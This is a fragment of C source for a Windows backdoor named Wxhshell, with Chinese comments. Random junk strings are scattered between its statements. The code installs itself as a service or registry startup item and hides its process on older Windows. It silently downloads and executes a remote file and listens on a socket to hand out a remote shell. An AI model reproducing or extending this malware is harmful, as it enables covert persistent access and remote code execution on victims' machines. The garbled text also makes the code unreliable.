if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lU$0e09 ,TB$D]u8 CloseHandle(hProcess); V
joVC$ZX wPcEvGBN= if(strstr(procName,"services")) return 1; // 以服务启动 "}-S%v`)z +/ M%%:>mY return 0; // 注册表启动 fuF{8-ua } U+E9l?4R $2}%3{<j // 主模块 S>j.i int StartWxhshell(LPSTR lpCmdLine) ZYt <O { AKk& SOCKET wsl; M&Ln'BC BOOL val=TRUE; WoNY8
8hT int port=0; :Y9/} b{ struct sockaddr_in door; `(I$_RSE") $ye>;Ek if(wscfg.ws_autoins) Install(); [U"/A1p C[#C/@ port=atoi(lpCmdLine); pe3;pRh' ?*7Mn` if(port<=0) port=wscfg.ws_port; \W=
qqE] fd>&RbUp WSADATA data; )t\aB_ = if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; v#X#F9C cKoW5e|u if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "QiLu=Rq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b&LAk-}[ door.sin_family = AF_INET; S QGYH door.sin_addr.s_addr = inet_addr("127.0.0.1"); u3tT=5.D door.sin_port = htons(port); u-mD" [8[<4~{ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {0-rnSjC closesocket(wsl); )E^4U9v), return 1; jcBZ#|B7; } 3Z&!zSK^ y%kZ## if(listen(wsl,2) == INVALID_SOCKET) { $z 5kA9 closesocket(wsl); \/V#,O return 1; |(PS
bu }
~vM99hW Wxhshell(wsl); ~<s^HP2U{ WSACleanup(); =_ b/g J1~E*t^ return 0; n5^57[( UF*R1{ } `r~3Pf).4 tAI
v+L // 以NT服务方式启动 eR6vO5to VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PB8g4-?p6 { u*,>$(-u DWORD status = 0; d)acWF\ DWORD specificError = 0xfffffff; lmD[Cn c$tX3ug6I serviceStatus.dwServiceType = SERVICE_WIN32; ['sNk[-C serviceStatus.dwCurrentState = SERVICE_START_PENDING; &/"a
E serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; uN>5Eh&=Pf serviceStatus.dwWin32ExitCode = 0; W\;|mEEu serviceStatus.dwServiceSpecificExitCode = 0; jvL!pEC! serviceStatus.dwCheckPoint = 0; RtpV08s\ serviceStatus.dwWaitHint = 0; '\xE56v)F /wt7KL-I hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rKyulgP if (hServiceStatusHandle==0) return; CS(2bj^6D nb<o o:^ status = GetLastError(); kw]?/s` if (status!=NO_ERROR) Q9xb7)G { +`g&hO\W serviceStatus.dwCurrentState = SERVICE_STOPPED; nhjT2Sl serviceStatus.dwCheckPoint = 0; x|G
:;{"+6 serviceStatus.dwWaitHint = 0; }f?[m&< serviceStatus.dwWin32ExitCode = status; nw%`CnzT serviceStatus.dwServiceSpecificExitCode = specificError; 2{vAs SetServiceStatus(hServiceStatusHandle, &serviceStatus); *pv<ZF0> return; y1Z>{SDiq } {+E]c:{ Ef28 serviceStatus.dwCurrentState = SERVICE_RUNNING; Ro"'f7(v. serviceStatus.dwCheckPoint = 0; tH.L_< N serviceStatus.dwWaitHint = 0; :Q]"dbY^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @p
WN5VL } $[,4Ib_| *vuI'EbM // 处理NT服务事件,比如:启动、停止 [YHtBM:y VOID WINAPI NTServiceHandler(DWORD fdwControl) 2b^Fz0
w4 { L+<h5>6 switch(fdwControl) Dm5 Uy^F} { <<A#4!f case SERVICE_CONTROL_STOP: f pq|mY serviceStatus.dwWin32ExitCode = 0; K.Y`/< serviceStatus.dwCurrentState = SERVICE_STOPPED; cGgfCF^` serviceStatus.dwCheckPoint = 0; aK@
Y) Ju' serviceStatus.dwWaitHint = 0; w]{c*4o { 62zu;p9m SetServiceStatus(hServiceStatusHandle, &serviceStatus); QRf>lZP } ID,_0b return; 2tpu v(H; case SERVICE_CONTROL_PAUSE: EGQgrwY5 serviceStatus.dwCurrentState = SERVICE_PAUSED; ob;|%_ break; d8w3Oz54 case SERVICE_CONTROL_CONTINUE: 8{2 serviceStatus.dwCurrentState = SERVICE_RUNNING; Ue
>]uZ| break; ?{B5gaU9F case SERVICE_CONTROL_INTERROGATE: 72Y6gcg break; (b<0=U }; 0
h!Du|? SetServiceStatus(hServiceStatusHandle, &serviceStatus); DlE, aYB } Z,E$4Z Dn 0L%?_ // 标准应用程序主函数 ckA\{v int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Zdqm|_R[ { fP|[4 ku $a*7Q~4 // 获取操作系统版本 ^?+[yvq OsIsNt=GetOsVer(); `HXv_9 GetModuleFileName(NULL,ExeFile,MAX_PATH); s!/lQo5/ Nyy&'\`! // 从命令行安装 U,EoCAm> if(strpbrk(lpCmdLine,"iI")) Install(); +?o!"SJ e!*]y&W // 下载执行文件 rBTg"^jsw if(wscfg.ws_downexe) { :) lG}c
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) y2#>a8SRS WinExec(wscfg.ws_filenam,SW_HIDE); w>^(w<~Y } 018SFle 'lA}E if(!OsIsNt) { m.m6. // 如果时win9x,隐藏进程并且设置为注册表启动 F8?2+w@P HideProc(); JVX)>2&$ StartWxhshell(lpCmdLine); )4=86>XJT } rC^5Z else 3LLG#l)8 if(StartFromService()) &<98nT // 以服务方式启动 IRm}?hHf StartServiceCtrlDispatcher(DispatchTable); nD
BWm`kN else N<rq}^qo // 普通方式启动 rzAf {2 StartWxhshell(lpCmdLine); rwLKY.J] F(ydqgH~a return 0; o{,IO!q }
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